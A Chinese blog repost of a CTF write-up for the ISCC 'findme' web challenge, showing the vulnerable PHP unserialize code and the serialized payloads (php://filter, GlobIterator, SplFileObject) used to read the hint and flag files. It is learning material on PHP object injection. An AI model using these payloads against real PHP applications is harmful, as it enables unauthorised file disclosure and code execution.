ISCC,Web:findme (复现)

阅读: 评论:0

ISCC,Web:findme (复现)

ISCC,Web:findme (复现)

源码提示

/unser.php 

<?php
highlight_file(__FILE__);class a{public $un0;public $un1;public $un2;public $un3;public $un4;public function __destruct(){if(!empty($this->un0) && empty($this->un2)){$this -> Givemeanew();if($this -> un3 === 'unserialize'){$this -> yigei();}else{$this -> giao();}}}public function Givemeanew(){$this -> un4 = new $this->un0($this -> un1);}public function yigei(){echo 'Your output: '.$this->un4;}public function giao(){@eval($this->un2);}public function __wakeup(){include $this -> un2.'hint.php';}
}$data = $_POST['data'];
unserialize($data);

 .

比赛的时候把 . 当成了 C 中的 . 提取子数据,

这里应该是连接

所以先调用的是 _wakeup(),看 hint.php

<?phpclass a{public $un0;public $un1;public $un2='php://filter/read=convert.base64-encode/resource=';public $un3;public $un4;}$a = new a();
echo serialize($a);

PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7

base64 - - >

<?php
$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

遍历文件类

  1. DirectoryIterator

  2. FilesystemIterator

  3. GlobIterator

1 和 2 是基于 echo 触发 _toString 方法

3 基于 glob() 函数

用 glob:// 协议读取

文件读取类

        SplFileObject

<?phpclass a{public $un0='GlobIterator';public $un1='glob://f*.txt';public $un2;public $un3='unserialize';public $un4;}$a = new a();
echo serialize($a);

Your output: fA1TE_

<?phpclass a{public $un0='SplFileObject';public $un1='fA1TE_';public $un2;public $un3='unserialize';public $un4;}$a = new a();
echo serialize($a);

Your output: ISCC{DQnm19dw_SPxQwQsK_21EnFvN}

本文发布于:2024-02-03 04:40:26,感谢您对本站的认可!

本文链接:https://www.4u4v.net/it/170690642448709.html

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。

上一篇:BuuCTF难题详解
下一篇:2023HZNUCTF
标签:ISCC   Web   findme
留言与评论(共有 0 条评论)
   
验证码:

Copyright ©2019-2022 Comsenz Inc.Powered by ©

网站地图1 网站地图2 网站地图3 网站地图4 网站地图5 网站地图6 网站地图7 网站地图8 网站地图9 网站地图10 网站地图11 网站地图12 网站地图13 网站地图14 网站地图15 网站地图16 网站地图17 网站地图18 网站地图19 网站地图20 网站地图21 网站地图22/a> 网站地图23